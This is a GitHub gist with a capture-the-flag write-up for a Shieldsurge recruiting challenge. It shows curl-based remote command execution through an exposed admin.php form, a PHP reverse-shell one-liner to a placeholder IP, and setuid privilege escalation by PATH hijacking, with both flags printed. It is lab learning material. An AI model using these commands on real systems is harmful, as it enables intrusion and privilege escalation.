Skip to content

Instantly share code, notes, and snippets.

@dustyfresh
Last active June 18, 2018 15:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dustyfresh/e90aa7b03543d18832f80c48a333d78f to your computer and use it in GitHub Desktop.
Save dustyfresh/e90aa7b03543d18832f80c48a333d78f to your computer and use it in GitHub Desktop.
writeup of the shieldsurge CTF challenge by dustyfresh

CTF http://vulnerable.shieldsurge.com/

Start with portscan:

$ nmap -sV vulnerable.shieldsurge.com
PORT     STATE    SERVICE VERSION
22/tcp   filtered ssh
25/tcp   filtered smtp
80/tcp   open     http    lighttpd 1.4.35
5000/tcp open     upnp?
8080/tcp open     http    Apache httpd 2.4.18 ((Ubuntu))

We see that this is a broken wordpress instance (error establishing database connection). So we hit it with wpscan... and get nothing since it's broken.

[!] The remote website is up, but does not seem to be running WordPress.

So then we hit it with dirsearch to crawl the wordpress site to see what we find. dirsearch found this:

[10:52:00] 200 -  465B  - /admin.php

Looks like a form that will let us execute commands!

$ curl -s http://vulnerable.shieldsurge.com:8080/admin.php
<html>
    <head>
        <title>
            System debug page
        </title>
    </head>
    <body>
        <p>Temporary command interface to allow sys admins to diagnose issues until we can get the site working properly.</p>
        <p>Enter OS commands here:</p>

        <form action="/admin.php" method="post">
            <input type="text" name="CMD">
            <input type="submit" value="Execute">
        </form>

            </body>
</html>

The CTF instructions said there were two flags in the home directory, let's use our new access to see if we can find those:

$ curl -s -X POST -d 'CMD=id' http://vulnerable.shieldsurge.com:8080/admin.php| tail -2
        <pre>uid=1001(lowprivuser) gid=1001(lowprivuser) groups=1001(lowprivuser

$ curl -s -X POST -d 'CMD=ls /home/$(whoami)' http://vulnerable.shieldsurge.com:8080/admin.php| tail -2
        <pre>flag.txt

Let's see if we can read that flag file:

$ curl -s -X POST -d 'CMD=cat%20/home/lowprivuser/flag.txt' http://vulnerable.shieldsurge.com:8080/admin.php
...
        <pre>Congrats, you got in!

      Here is the first flag:
      2iRSMoVvGEiO2wx23oGl
...

We got FLAG!

Now to escalate privileges. We start a reverse shell:

/usr/bin/php -r '$sock=fsockopen("<MyReverseShellIP>",4321);exec("/bin/sh -i <&3 >&3 2>&3");'

Now that we have a more comfortable shell we can take a look at what we have access to around our flag. We see there is a binary called printdate with setuid bit meaning that we get perms of the group that owns the file (highprivuser):

$ file /home/highprivuser/*
/home/highprivuser/flag.txt:  regular file, no read permission
/home/highprivuser/printdate: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3217dbafe8444cd2f6182e4abaf20eeb1c03e9e6, not stripped

$ stat /home/highprivuser/printdate
  File: '/home/highprivuser/printdate'
  Size: 8608      	Blocks: 24         IO Block: 4096   regular file
Device: ca01h/51713d	Inode: 271594      Links: 1
Access: (4555/-r-sr-xr-x)  Uid: ( 1002/highprivuser)   Gid: ( 1002/highprivuser)
Access: 2018-04-20 02:24:54.544000000 +0000
Modify: 2018-03-24 14:25:17.804032845 +0000
Change: 2018-03-24 14:27:59.219996587 +0000
 Birth: -

When we execute this binary a date is printed. When we execute this binary with strace we see some interesting syscalls. Here we see being run for some reason /bin/ksh93, but not as our user (so it must be running as the highpriv user):

14273 16:24:13 readlink("/proc/self/exe", "/bin/ksh93", 4097) = 10 <0.000019>

Also in the output of strace we see that the printdate application is walking our path looking for the date binary:

14273 16:24:13 stat(".", {st_dev=makedev(202, 1), st_ino=522514, st_mode=S_IFDIR|0755, st_nlink=5, st_uid=0, st_gid=1001, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=2018/04/19-18:00:31.240000000, st_mtime=2018/03/26-08:21:20.376000000, st_ctime=2018/03/26-08:21:20.376000000}) = 0 <0.000007>
14273 16:24:13 rt_sigaction(SIGCHLD, {0x4291a0, [], SA_RESTORER|SA_INTERRUPT, 0x7fae4b9014b0}, {SIG_DFL, [], 0}, 8) = 0 <0.000007>
14273 16:24:13 stat("/usr/local/sbin", {st_dev=makedev(202, 1), st_ino=66913, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=2018/04/20-05:06:42.756000000, st_mtime=2018/01/26-05:53:55.714487143, st_ctime=2018/01/26-06:01:26.965943081}) = 0 <0.000010>
14273 16:24:13 open("/usr/local/sbin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000009>
14273 16:24:13 stat("/usr/local/sbin/date", 0x7fff8e1893f0) = -1 ENOENT (No such file or directory) <0.000020>
14273 16:24:13 stat("/usr/local/bin", {st_dev=makedev(202, 1), st_ino=66907, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=2018/04/20-02:36:46.568000000, st_mtime=2018/01/26-05:53:55.710488987, st_ctime=2018/01/26-06:01:26.965943081}) = 0 <0.000008>
14273 16:24:13 open("/usr/local/bin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000010>
14273 16:24:13 stat("/usr/local/bin/date", 0x7fff8e1893f0) = -1 ENOENT (No such file or directory) <0.000009>
14273 16:24:13 stat("/usr/sbin", {st_dev=makedev(202, 1), st_ino=32317, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=2018/04/20-05:06:42.756000000, st_mtime=2018/03/26-08:07:30.116000000, st_ctime=2018/03/26-08:07:30.116000000}) = 0 <0.000008>
14273 16:24:13 open("/usr/sbin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000022>
14273 16:24:13 stat("/usr/sbin/date", 0x7fff8e1893f0) = -1 ENOENT (No such file or directory) <0.000008>
14273 16:24:13 stat("/usr/bin", {st_dev=makedev(202, 1), st_ino=32318, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=40, st_size=20480, st_atime=2018/04/20-05:06:42.916000000, st_mtime=2018/03/26-05:42:39.300726016, st_ctime=2018/03/26-05:42:39.300726016}) = 0 <0.000008>
14273 16:24:13 open("/usr/bin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000013>
14273 16:24:13 stat("/usr/bin/date", 0x7fff8e1893f0) = -1 ENOENT (No such file or directory) <0.000008>
14273 16:24:13 stat("/sbin", {st_dev=makedev(202, 1), st_ino=4151, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=24, st_size=12288, st_atime=2018/04/20-04:12:07.656000000, st_mtime=2018/03/24-03:26:17.321406744, st_ctime=2018/03/24-03:26:17.321406744}) = 0 <0.000009>
14273 16:24:13 open("/sbin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000021>
14273 16:24:13 stat("/sbin/date", 0x7fff8e1893f0) = -1 ENOENT (No such file or directory) <0.000007>
14273 16:24:13 stat("/bin", {st_dev=makedev(202, 1), st_ino=12, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=2018/04/20-03:32:24.108000000, st_mtime=2018/03/26-08:25:38.352000000, st_ctime=2018/03/26-08:25:38.352000000}) = 0 <0.000007>
14273 16:24:13 open("/bin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000008>
14273 16:24:13 stat("/bin/date", {st_dev=makedev(202, 1), st_ino=16, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=136, st_size=68464, st_atime=2018/04/20-06:25:02.208000000, st_mtime=2017/03/02-18:07:22, st_ctime=2018/01/26-06:01:20.699600510}) = 0 <0.000007>
14273 16:24:13 lstat("/bin/date", {st_dev=makedev(202, 1), st_ino=16, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=136, st_size=68464, st_atime=2018/04/20-06:25:02.208000000, st_mtime=2017/03/02-18:07:22, st_ctime=2018/01/26-06:01:20.699600510}) = 0 <0.000007>

Let's try to intercept the date execution by changing our path, and the date to a korn script within that path that is named date. This should fool the program into executing the ksh script as the highprivuser.

$ mkdir /tmp/.staging; printf "#!/bin/ksh93\n/usr/bin/id\n/bin/cat /home/highprivuser/flag.txt" > /tmp/.staging/date; chmod +x /tmp/.staging/date

Now if we execute our ksh script in /tmp/.staging we see that we get a denied error to cat the flag file:

$ /tmp/.staging/date
uid=1001(lowprivuser) gid=1001(lowprivuser) groups=1001(lowprivuser)
/bin/cat: /home/highprivuser/flag.txt: Permission denied

But, if we override our path to look in /tmp first:

$ PATH=/tmp/.staging:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /home/highprivuser/printdate
uid=1001(lowprivuser) gid=1001(lowprivuser) euid=1002(highprivuser) groups=1001(lowprivuser)
Congrats, you win!!

Here is the flag:
WBMyjrDztOQfY3oXh7cV


Email this flag, along with your resume and contact info to:

    "careers@shieldsurge.com"

We're excited to chat with you!

-Shieldsurge Consulting
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment